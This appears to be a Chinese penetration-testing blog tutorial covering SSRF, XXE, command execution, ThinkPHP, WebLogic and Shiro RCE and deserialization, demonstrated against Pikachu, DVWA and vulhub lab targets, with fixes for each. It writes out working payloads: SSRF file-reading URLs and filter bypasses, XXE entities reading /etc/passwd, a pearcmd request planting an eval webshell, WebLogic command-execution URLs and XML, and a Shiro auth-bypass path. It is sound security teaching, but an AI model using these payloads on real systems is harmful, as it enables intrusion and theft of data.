🌝博客主页：泥菩萨
💖专栏：Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具
ssrf
一、SSRF原理及漏洞演示
1.1 漏洞简介
SSRF（Server-Side Request Forgery：服务端请求伪造）是由攻击者构造形成，由服务端发起请求的一种安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的，所以它能够访问到与它相连而与外网隔离的内部系统
csrf和ssrf区别：
csrf：客户端请求伪造，伪造了一个请求发送给客户端让用户去访问
ssrf：服务端请求伪造，伪造了一个请求发送给服务端去访问
1.1.1 漏洞原理
大多是由于服务端提供了从其他服务器应用获取数据的功能，但又没有对目标地址做严格过滤和限制，导致攻击者可以控制后端服务器对传入的任意地址发送请求，并返回对该目标请求的响应
通过控制web服务器当作跳板机来发起请求，攻击内网中其他服务
1.1.2 漏洞危害
（1）扫描内网开放服务
（2）向内部任意主机的任意端口发送payload来攻击内网服务
（3）DOS攻击（请求大文件，始终保持连接Keep-Alive Always）
（4）攻击内网的Web应用，例如直接SQL注入、XSS攻击等
（5）利用file、gopher、dict协议读取本地文件、执行命令等
1.2 检测与绕过
1.2.1 漏洞检测
假设一个漏洞场景：某网站有一个在线加载功能可以把指定的远程图片加载到本地，功能链接如下：
http://www.aaa.com/load.php?image=http://www.bbb.com/1.jpg
那么网站请求的大致步骤如下：
用户输入图片地址 -> 请求发送到服务端解析 -> 服务端www.aaa.com请求链接地址www.bbb.com的图片数据 -> 获取请求的数据加载到前端显示
这个过程中可能出现问题的点就在于访问请求发送到服务端的时候，图片加载请求是由服务端去加载的，而系统没有校验前端给定的参数是不是允许访问的地址域名，例如，上述链接可以修改为：
http://www.xxx.com/load.php?image=http://127.0.0.1:22
上述请求一旦获取响应，可能返回请求端口banner。如果协议允许，甚至可以使用其他协议来读取和执行相关命令。例如：
http://www.xxx.com/load.php?image=file:///etc/passwd
http://www.xxx.com/load.php?image=dict://127.0.0.1:22/data:data2
http://www.xxx.com/load.php?image=gopher://127.0.0.1:2233/_test
.....
对于不同语言实现的web系统，可以使用的协议也存在差异，其中
php：http、https、file、gopher、phar、dict、ftp、ssh、telnet...
java：http、https、file、ftp、jar、netdoc、mailto...
判断SSRF漏洞是否存在的重要前提是：请求一定是服务端发起的
比如：前端获取链接后，由JS来获取对应参数交由windows.location来处理相关的请求，或者加载到当前的iframe框架中（js是前端语言，iframe是前端框架，那么可以证明是客户端发起的，不构成ssrf漏洞）
1.2.2 漏洞出现点
1️⃣分享
通过url地址分享文章，例如如下地址：
http://share.magedu.com/index.php?url=http://127.0.0.1
通过URL参数的获取来实现点击链接的时候跳转到指定的分享文章。如果在此功能中没有对目标地址的范围做过滤与限制，则可能存在SSRF漏洞
2️⃣图片加载与下载
通过url地址加载或下载图片
http://image.magedu.com/image.php?image=http://127.0.0.1
网站加载图片的功能一定是服务器完成的
3️⃣图片、文章收藏功能
http://title.magedu.com/title?title=http://title.magedu.com/as52ps63de
例如title参数是文章的标题地址，代表了一个文章的地址链接，请求后返回文章是否保存、收藏等返回信息。如果保存、收藏功能采用了此种形式保存文章，在没有限制参数的情况下，可能存在SSRF漏洞
4️⃣利用参数中的关键字来查找
例如以下的关键字：
share
wap
url
link
src
source
target
display
sourceURL
imageURL
domain
...
文件包含、目录遍历、ssrf区别：
1️⃣从概念上看：
- 文件包含：加载的参数没有经过过滤或者过滤不严格，可以被用户控制，进而使用包含函数去加载和解析预期以外的的恶意文件，导致远程代码执行
- 目录遍历：网站本身存在配置缺陷，前端可以传入目录跳转符，导致网站目录被任意浏览
- ssrf：服务端提供了从其它服务器应用获取数据的功能，但又没有对目标地址去做过滤或限制，导致攻击者可以构造攻击链接给服务器，服务端执行并发起请求，造成信息泄露
2️⃣从形式上看：
仅从url的表现形式上不能判断到底是哪个漏洞，也不能判断请求的发起方是客户端还是服务端
3️⃣使用的函数不同：
-
目录遍历是因为中间件配置引发的问题不涉及函数
-
文件包含：include、require
-
ssrf：curl、file_get_content
4️⃣目标不同：文件包含传入的是文件名；目录遍历可能带参数，也可能不带；ssrf传入的是url
5️⃣请求方不同：文件包含和目录遍历的请求方式客户端，ssrf则服务端
1.2.3 漏洞绕过
部分存在漏洞或者可能产生SSRF的功能中，网站会做白名单或黑名单的处理，来阻止对内网服务和资源的访问，因此想要实现SSRF攻击，需要对请求的参数地址做一些绕过处理，常见的绕过方式如下：
场景1：限制为http://www.xxx.com域名
可以通过添加@来构造URL：
http://www.aaa.com@www.bbb.com@www.ccc.com
对@解析域名时，不同处理函数存在差异，在PHP的parse_url中会识别www.ccc.com，而libcurl则识别为www.bbb.com
因为不知道网站的源码，只能不断的去尝试
场景2：限制请求IP不为内网地址
即限制访问所有内网IP，可采用短地址绕过
也可以使用在线进制转换，127转换16进制为7f，系统中表示16进制前面要加0x，8进制前加0
可以对127.0.0.1使用进制转换
八进制：0177.0.0.1
十六进制：0x7f.0.0.1
十进制：2130706433
哪一种进制可以绕过和程序后端的处理逻辑有关系，需要我们不断尝试
场景3：限制请求只为http协议
采用302跳转，百度短地址，或者使用短地址生成
场景4：利用句号绕过
使用条件：底层服务器必须是Linux
127。0。0。1 >>> 127.0.0.1
其他绕过形式可以查看：https://www.secpulse.com/archives/65832.htm
1.3 挖掘ssrf漏洞
ssrf漏洞有一个比较没法的地方在于：作为测试人员，有时候从URL的表现形式并不能判断是客户端还是服务端发起的请求
如果能接触到内网服务器，可以根据ip来判断
1️⃣观察法
观察url中是否有share、url、image等关键字，尝试将关键字的值修改为内网地址并发起请求
思考url所对应的功能是客户端还是服务端完成的
2️⃣Dnslog等工具进行测试
记录dns上的域名信息及访问情况，能很好的帮我们判断请求方送方是客户端还是服务端的问题
www.dnslog.cnd
3️⃣在内网里通过wireshark抓包分析发送的请求是不是由服务器发送的，如果不是客户端发出的请求，则有可能是，接着找存在HTTP服务的内网地址尝试发起访问
仅存在于渗透测试，如果是黑客无法在内网环境下安装wireshark
4️⃣访问日志检查
自己搭建web站点，控制目标网站某个参数，让参数值=我搭建的web域名，查看日志进行分析
5️⃣扫描工具
AWVS、XRAY
1.4 Pikachu演示
1.4.1 SSRF（curl）
curl是一个强大的库，能够连接通讯各种服务器，支持各种协议。基于curl命令让用户通过URL和许多不同的服务器进行交流，比如用来请求Web服务器，同时它也支持https认证、http post、ftp上传、代理、cookies、简单口令认证等功能
打开目标网站，并根据提示点击
这里pikachu靶场的url出现了错误，vul出现了两次，删除多余的那个即可
观察url，发现传了一个url给服务器
我们可以把url中的内容进行修改
http://10.0.0.158:8081/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
发现百度页面出现的不完整，证明是服务端发起的请求，这是个ssrf漏洞
如果是客户端发起的，会直接跳转到百度页面
http://10.0.0.158:8081/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com@www.sina.com
curl()加载出来的是@后面的内容
还可以利用file协议读取本地文件
http://10.0.0.158:8081/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
1.4.2 SSRF（file_get_content）
file_get_content() ：把整个文件读入一个字符串中
php://filter：协助用户以流的方式读文件（比如用爱奇艺看电视时边加载边看）
php://filter有4个可用参数，详细使用方法可以参考具体范例
| 名称 | 描述 |
|---|---|
| resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流，即要读的文件 |
| read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔 |
| write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔 |
| <;两个链的筛选列表> | 任何没有以 read= 或 write= 做前缀的筛选器列表会视情况应用于读或写链 |
file_get_contents里面带有php://filter我们可以用它来读取php源码，所以构造URL：
http://10.0.0.158:8081/vul/ssrf/ssrf_fgc.php?file=php://filter/resource=ssrf.php（会被解析）
直接使用resource指定ssrf.php文件，可以看到访问成功
但是php文件被解析了，我们希望拿到网站的源代码，那么需要对代码做一层编码，不让它解析，拿到之后我们再进行解码，这样就拿到了网站的源代码：在read参数中加入convert.base64-encode
http://10.0.0.158:8081/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-
encode/resource=ssrf.php
然后网页出现了base64编码的代码
拿到编码后利用解码工具或hackbar进行解码：https://base64.us/
1.5 漏洞修复
1.设置URL白名单或者内网IP黑名单
2.过滤返回信息，验证远程服务器对请求的响应。如果Web应用是去获取某一类型的文件，那么在将返回结果展示给用户之前先验证返回的信息是否符合标准
3.禁用不需要的协议，仅仅允许http和https请求，可以防止类似于file://,gopher://,ftp://等引起的问题
二、XXE漏洞
2.1 简介
XXE：外部实体注入攻击。由于程序在解析输入XML数据时，没有进行充分过滤，解析了攻击者伪造的外部实体而产生的漏洞
例如PHP中的simplexml_load默认情况下会解析外部实体，有XXE漏洞的标志性函数是simplexml_load_string()
2.2 XML外部实体
XML是用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言（XML文档）。XML文档结构包括XML声明、DTD（文档类型定义）、文档元素
首先了解一下XML的基本结构，其中主要关注[DTD-实体]：
XML文档声明，在文档的第一行
XML文档类型定义（DTD），这里也是XXE
漏洞所在的地方
XML文档元素
DTD（文档类型定义）的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明，也可以外部引用。XML文档类型的声明如下：
内部声明DTD <!DOCTYPE根元素[元素声明]>举例：如上图
外部声明DTD <!DOCTYPE 根元素 SYSTEM
"文件名">
举例：<!DOCTYPE 根元素 SYSTEM "Note.dtd">或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
实例1.1：内部声明DTD
<?xml version="1.0"?> //XML声明
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)> //定义了note根元素，并且note根元素下面有4个子元素
<!ELEMENT to (#PCDATA)> //定义了子元素to，后面的（＃PCDATA）意思是to元素里面的字符串内容不会被解析
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]> //从<!DOCTYPE...到]>,是DTD文档的定义
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget themeeting</body>
</note> //后面这部分就是XML文档元素，也可以理解成文件内容
实例1.2：外部声明DTD
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't
forget
the
meeting!</body>
</note>
这个note.dtd的内容就是:
<!DOCTYPE note [
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
DTD实体变量，因为DTD（文档类型定义）分为内部声明和外部引用两种利用方式，所以DTD实体又可以分成内部声明实体和外部引用实体。
内部声明实体 <!DOCTYPE 实体名称 “实体的值">
引用外部实体 <!DOCTYPE 实体名称 SYSTEM "URL"> 或者 <!DOCTYPE 实体名称 PUBLIC "public_ID" "URL">
实例2.1：内部声明实体
<?xml version="1.0"?>
<!DOCTYPE note[ <!ELEMENT note (name)> <!ENTITY hack3r "Hu3sky"> ]> //声明了根元素note又创建了其子元素name，定义hack3r实体的内容为Hu3sky
<note>
<name>&hack3r;</name> //子元素部分直接引用了实体
</note>
实体2.2：引用外部实体
外部实体用来引用外部资源，有两个关键字SYSTEM 和 PUBLIC，表示实体来自本地计算机还是公共计算机。这里的”外“是相较于XML文档本身而言的。外部实体的利用会用到协议如下：
不同语言下支持的协议：
正是因为外部实体支持http、file等协议，那么就有可能通过引用外部实体进行远程文件读取
2.3 危害
当允许引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网服务等危害。
2.3.1 读取任意文件
PHP中可以通过FILE协议、HTTP协议和FTP协议读取文件，还可利用PHP伪协议
<?xml version="1.0"?>
<!DOCTYPE mage[ //mage是根元素
<!ENTITY f SYSTEM "file:///etc/passwd"> //实体f内容是file:///etc/passwd
]>
<hhh>&f;</hhh> //引用实体
把代码粘贴到pikachu靶场的XXE模块，要去掉代码中的//部分
点击提交后
2.3.2 执行系统命令
<?xml version="1.0"?>
<!DOCTYPE mage[
<!ENTITY f SYSTEM "expect:///id"> ]>
<hhh>&f;</hhh>
expect:///id 是操作系统命令，网站无法直接读取，所以提交后不会出现我们想要的内容
2.4 pikachu演示
我们先输入一个合法的XML文档（内部声明实体）：
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note [
<!ENTITY f "magedu">
]>
<hhh>&f;</hhh>
提交之后，发现成功解析了，说明网页对输入的XML数据是有结果回显的
在服务端开启了DTD外部引用且没有对DTD实体进行过滤的情况下，可以利用DTD实体引用系统关键文件（引用外部实体）：
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<hhh>&f;</hhh>
2.5 怎么挖到这个漏洞
观察数据包，看有没有传递XML文档
2.6 XXE的防御
1️⃣禁用外部实体
//php：
libxml_disable_entity_loader(true);
//java:
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
//python:
from lxml import etree
xmlData = etree.parse(xmlSource.etree.XMLParser(resolve_entities=False))
2️⃣过滤用户提交数据
过滤关键词：<!DOCTYPE 和 <！ENTITY，或 SYSTEM 和 PUBLIC
三、远程命令/代码执行
3.1 RCE概述
RCE：分为远程命令执行或远程代码执行
RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或代码，从而控制后台系统，这一过程也就是我们常说的Getshell
3.1.1 远程命令执行
出现原因：因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如网站的管理界面上，有ping功能，如果设计者在开发该功能时，没有做严格的安全控制，则可能会导致攻击者通过该接口提交恶意命令，从而控制整个后台服务器
3.1.2 远程代码执行
出现原因：因为需求设计，后台有时候会把用户的输入作为代码的一部分进行执行，如果没有做好过滤或者过滤不严，可能会造成远程代码执行漏洞
3.1.3 防御
对前端的输入做好过滤
3.2 DVWA演示
3.2.1 LOW
该处设置一个ping功能，输入一个IP地址既可以从服务器对该地址执行ping操作，源代码如下：
命令行的几种操作方式：
A && B：先执行A，如果成功，执行B
A || B：先执行A，如果失败，执行B
A | B：管道符，先执行A后，将A的结果作为B的输入，打印的是B的结果
A & B：先执行A，然后不管成功与否，执行B
A ; B：按顺序执行
3.2.2 Medium
源代码分析：过滤了&&和;
使用其它操作符即可绕过
3.2.3 High
源代码分析：对可能造成攻击的符合都进行了过滤操作，但是在对 | 进行过滤的时候，多了一个空格，如下：
3.3 Thinkphp RCE
3.3.1 漏洞概述
Thinkphp是轻量级的PHP开发框架
2022年12月，Thinkphp被披露出在开启多语言特性的情况下存在文件包含漏洞，攻击者可以通过get、header、cookie等位置传入参数，实现目录遍历+文件包含，通过pearcmd文件包含trick即可实现RCE
默认情况下，系统只会加载默认语言包，如果需要多语言自动侦测及自动切换，需要在全局的中间件定义文件中添加相关配置，因此只有启用了多语言特性并且处于漏洞影响版本范围内才会存在漏洞
漏洞利用条件：
1、多语言特性开启（通过自己尝试）
2、安装pear库（常规环境很少安装）
3、知道pearcmd.php路径(默认/usr/local/lib/php/pearcmd.php)
4、register_agrc_arg = on（常规环境很少开启）
3.3.2 影响范围
版本是可以搜集到的
6.0.1 < ThinkPHP ≤ 6.0.13
5.1.0 < ThinkPHP ≤ 5.1.8
5.0.0 < ThinkPHP ≤ 5.0.12
3.3.3 环境搭建
docker pull vulfocus/thinkphp:6.0.12
docker run -d -p 8082:80 vulfocus/thinkphp:6.0.12
浏览器访问：http://your_ip:8082/public/
3.3.4 漏洞演示
前端测试是否存在pearcmd，访问路径，如果存在下图中的报错就确认存在
?lang=../../../../../../../../usr/local/lib/php/pearcmd
# 这些路径payload是网上搜索出来的，不需要自己构造
EXP
?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo()?>+/var/www/html/magedu2.php
?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?
=@eval($_REQUEST['a']);>+/var/www/html/magedu1.php
直接这么上传发现被url编码了
抓包修改被url编码的部分
放包，写入成功
直接访问php文件，成功解析
也可以上传一句话木马，通过蚁剑进行连接
3.3.5 修复建议
若无必要，可关闭多语言特性
升级至最新版本就
3.4 Weblogic RCE
3.4.1 漏洞概述
Weblogic未授权远程命令执行漏洞（CVE-2020-14882，CVE-2020-14883）
2020年Oracle官方发布了数百个组件的高危漏洞公告。其中组合利用CVE-2020-14882 & CVE-2020-14883 可使攻击者绕过WebLogic后台登录限制，远程代码执行获取WebLogic服务器权限，利用难度极低，风险极大
漏洞原理：
CVE-2020-14882：允许未授权的用户绕过管理控制台的权限验证访问后台 -- 未授权访问
CVE-2020-14883：允许后台任意用户通过HTTP协议执行任意命令 -- RCE
这两个漏洞的组合利用，可以让攻击者以未授权的身份登录后台，然后通过GET请求在Weblogic服务器上远程执行命令
3.4.2 影响范围
Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0
3.4.3 环境搭建
vulhub靶场：https://vulhub.org
vulhub是一个基于docker和docker-compose的漏洞环境集合，进入对应目录并执行一条语句即可启动一个全新的漏洞环境
docker：运行平台；docker-compose：工具
下载安装
安装docker：前面的文章已介绍过，不再赘述
安装docker-compose：yum install -y docker-compose
下载vulhub：git clone https://github.com/vulhub/vulhub.git
来到家目录，ls查看当前目录下有哪些文件，发现了vulhub
进入本章节漏洞所涉及到的目录，进行分析
cd vulhub/weblogic/CVE-2020-14882
ls
查看关于该漏洞的相关信息
cat README.zh-cn.md
查看该漏洞的相关配置文件
避免端口冲突，可以编辑配置文件
cat docker-compose.yml
开始使用
进入到该漏洞目录下，启动容器环境
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d
# 操作容器的命令
停止：docker-compose stop
开启：docker-compose start
移除：docker-compose down
访问http://your_ip:7001/console
正在缓存，稍等一下即可进入weblogic控制台
正常情况下中间件的后管页面不应该对互联网开放，如果开放了要修改默认密码
3.4.4 漏洞演示
3.4.4.1 CVE-2020-14882
访问http://your_ip:7001/console来到登录界面，正常来说肯定是需要账号密码才能登陆到后台，这里利用CVE-2020-14882漏洞，访问以下URL，即可未授权访问到管理后台页面：
http://10.0.0.158:7001/console/css/%252e%252e%252fconsole.portal
或
http://http://your-ip:7001/console/images/%252e%252e%2:7001/console/images/%252e%252e%252fconsole.portal
注：%252e%252e%252f 是经过两次URL编码后的../<通过这个就可以实现穿越路径未授权访问后台页面
观察该页面可看到通过未授权访问的后台与正常登录的后台相比，由于权限不足，缺少部署等功能，无法安装应用，所以也无法通过部署项目等方式直接获取权限。想要实现服务器RCE，就要借助另外一个漏洞（CVE-2020-14883）
3.4.4.2 CVE-2020-14883
利用方式一：
通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类实现，这种方法最早在CVE-2019-2725（Weblogic反序列化漏洞）被提出，是一个通杀的方法，对Weblogic的所有版均有效。此方法需要借助XML文件，通过访问XML文件来执行命令
构造一个恶意的XML文件，并将其保存在Weblogic可以访问到的服务器上
<?xml version="1.0" encoding="UTF-8" ?>
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
//在tmp目录下写入magedu1文件
<value><![CDATA[touch /tmp/magedu1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
找到DVWA靶场的文件上传功能，直接把XML传上去
访问如下URL，即可让Weblogic加载该恶意XML文件，并执行其中的命令:
http://10.0.0.158:7001/console/images/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.su
pport.FileSystemXmlApplicationContext("http://10.0.0.158:8089/hackable/uploads/rce.xml")
进入容器，验证是否真的在tmp目录下写入了magedu1文件
这种利用方法的不足之处，就是需要Weblogic服务器能够访问到恶意XML
利用方式二：
通过com.tangosol.coherence.mvel2.sh.ShellSession类实现，这个利用方法只能在Weblogic 12.2.1 以上版本利用，因为10.3.6版本没有这个类
直接访问如下URL，即可执行命令：
http://10.0.0.158:7001/console/images/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/magedu2');")
exec表示执行touch /tmp/magedu2命令
进入容器，验证是否真的在tmp目录下写入了magedu2文件
3.4.5 修复建议
1. 若无必要，可选择关闭console
2. 升级至最新版本
3.5 Shiro RCE
用户/密码：admin/vulhub
3.5.1 Shiro反序列化漏洞（CVE-2016-4437、Shiro-550）
3.5.1.1 漏洞概述
Apache Shiro是一款开源Java安全框架，提供身份验证、授权、密码和会话管理等功能
在Apache Shiro的框架中，执行身份验证时提供了一个记住密码的功能（RememberMe），如果用户登录时勾选了这个选项，登录后请求数据包中的Cookie字段将会多出一段数据，这一段数据包含了用户的身份信息，且是经过加密的，加密过程：
用户信息 --> 序列化 --> AES加密（这一步需要用密钥key） --> Base64编码 --> RememberMe Cookie值
识别身份的时候，服务端需要对cookie里的remember me字段界面，根据加密的顺序，反推解密过程：
Rememberme cookie值 --> Base64解码 --> AES解码 --> 反序列化（未做过滤处理） --> 用户信息
出问题的点在于：AES加密的密钥key被硬编码在代码里（默认密钥：kPH+blxk5D2deZilxcaaaA==），这意味着任何人都可以通过源代码拿到AES加密的密钥。因此，如果把用户信息替换成恶意命令，经过加密和解密，这一过程未进行过滤，最终造成该漏洞，实现远程命令执行
【硬编码】：把密钥直接写在代码里。而shiro又是开源的，这意味着攻击者可以去github上下载源代码
【序列化】：把代码转换成文本。为了保证传输过程中不损害代码
3.5.1.2 影响范围
Apache Shiro ≤1.2.4
3.5.1.3 环境搭建
启动环境
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d
查看映射到哪个端口了，发现是8080端口
cat docker-compose.yml
直接访问http://your_ip:8080
3.5.1.4 漏洞演示
首先判断目标网站是否使用了Shiro框架，具体方法是：勾选记住密码选项后，点击登录、抓包，观察请求包中是否RememberMe字段：
# 在不同情况下怎么判断是否是shiro框架
1.未登录的情况下，请求包的Cookie中没有RememberMe字段，返回包set-Cookie里也没有deleteme字段
2.登陆失败的话，不管有没有勾选“remember me”，返回包都会有rememberme=deleteme字段
3.不勾选“remember me"，登陆成功的话，返回包set-cookie里有rememberme=deleteme字段，但是之后的所有请求中cookie都不会有rememberme字段
4.勾选“remember me”，登录成功的话，返回包set-cookie里有rememberme=deleteme字段，还会有rememberme加密字段，之后的所有请求中cookie都会有rememberme字段
接下来开始进行漏洞检测，Shiro反序列化漏洞的检测会面临一些问题：
（1）漏洞无法回显
（2）系统环境复杂
（3）AES的key可能被修改
对于前两个问题，可以通过dnslog来进行漏洞的检测；对于第三个问题，可以通过信息收集、文件读取、暴力破解等方法来获取key，而目前针对shiro反序列化漏洞，主流方法是使用专业的漏洞利用工具来进行检测
工具一：ShiroExploit.v2.51
下载地址：https://github.com/feihong-cs/ShiroExploit-Deprecated
打开工具，如下图所示，可以看到利用页面提供了三个选项：
1.复杂Http请求：如果想自定义http请求，就勾选它，下方会出现输入框
2.使用keys.conf.big：使用工具进行检测的过程中，默认使用keys.conf字典，该字典都是一些常用密钥，如果想要使用更大的字典，则选择keys.conf.big字典
3.指定Key/Gadget/EchoType：指定Key、利用链、回显方式等。
一般来说不用选择那么多，直接输入URL点击“下一步”，来到选择检测方式的页面：
ShiroExploit工具提供了四种检测方式，每种方式的优缺点各不相同，想要进一步了解的话可以通过github下载页面去查看说明文档。这里我们选择“使用回显进行漏洞检测”，因为有回显大家看的比较清楚
点击“下一步”开始检测，如下图所示，目标站点存在漏洞，Shiro的默认密钥、利用链等都被显示出来：
有＋的地方表示有成果
检测到漏洞以后，就可以在输入框输入命令，实现RCE：
注意：在使用回显进行漏洞检测时，会在目标网站上自动生成一个文件其中记录了执行命令的结果，所以不建议在实际业务环境中使用这种检测方式
工具二：shiro_attack_2.2
设置burp代理
bp开启抓包的情况下，该工具点击爆破
使用shiro_attack2.2爆破Shiro密钥检测漏洞，当目标系统存在漏洞时，检测结果如下图所示：
实现远程命令执行：
内存马：是一种无文件的攻击手段，通过把恶意代码注入到系统的内存里面，以躲避检测和实现远程控制
在这个靶场中内存马类型我们选择冰蝎（别的可能不会成功）
打开冰蝎工具，右键单击新增输入url和密码，脚本类型选择jsp，保存好后双击进入
3.5.1.5 修复建议
1. 升级Shiro到最新版本
2. 自定义AES密钥且不使用硬编码
3.5.2 Shiro权限绕过漏洞（CVE-2020-1957）
3.5.2.1 漏洞概述
Apache Shiro 1.5.2之前的版本，由于Shiro拦截器和Web框架拦截器对RequestURL的匹配流程存在差异，导致攻击者同故宫构造特殊的http请求，可以绕过shiro的认证，未授权访问敏感路径
以Spring框架为例，spring boot搭配Apache shiro进行身份验证、权限控制时，利用spring和Apache shiro对url的处理逻辑不通，实现认证绕过和未授权访问
比如攻击者构造了这样一个路径：/xxx/..;/admin/
1.shiro首先对url进行处理，读取到;后会进行截断，丢弃/admin/，然后对/xxx/.;查找需要进行权限判断的地方，发现/xxx/..;不需要权限校验，则放行；交由spring进行处理
2.spring通过对/xxx/..;/admin/获取到有效路径/admin/,发起请求访问，假如admin是后台地址，则会成功访问后台
3.5.2.2 影响范围
Apache Shiro < 1.5.2
3.5.2.3 环境搭建
cd Vulhub/shiro/CVE-2020-1957
docker-compose up -d
访问http://your_ip:8080/，看到靶场首页
点击Login登录，输入账号密码：admin/vulhub
在实际情况中，并不知道账号密码，所以我们要通过url直接访问到后台
构造恶意请求/xxx/..;/admin/，即可绕过权限校验，访问到管理页面：
10.0.0.158:8080/xxx/..;/admin/
3.5.2.5 修复建议
升级Shiro到最新版本
---------------怎么确定网站使用了什么框架？
shrio框架的指纹信息不像thinkphp和weblogic框架的好识别，有的开发者会隐藏remember me或修改，可以通过抓包来查看是否有remember me，有就是使用的shrio框架
四、反序列化漏洞
序列化：把对象转换为字节序列的过程称为对象的序列号
反序列化：把字节序列恢复为对象的过程称为对象的反序列化
在反序列化时，因为字节序列是文本，攻击者可以在字节序列中添加恶意代码，如果没有对字节序列进行检测或过滤直接反序列化，那么攻击者插入的恶意代码恢复成对象的时候，会被加载和解析，造成反序列化漏洞
4.1 为什么要序列化
如果我们需要将代码对象进行传输的时候，需要先将代码对象进行序列化，否则会造成代码格式被破坏、内容丢失
4.2 涉及语言
用到的JBoss中间件，是由java语言编写的，所以该漏洞也是java反序列化
反序列化漏洞并不存在于某一特定语言中的现象，而是多种语言里都普遍存在情况
4.3 检测方法
反序列化漏洞有非常多的利用工具，可自行去网上寻找使用，下图就给出了一种反序列化的利用工具：
4.4 漏洞修复
1. 过滤反序列化的内容
2. 只反序列化可信来源的数据
扫一扫
794
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
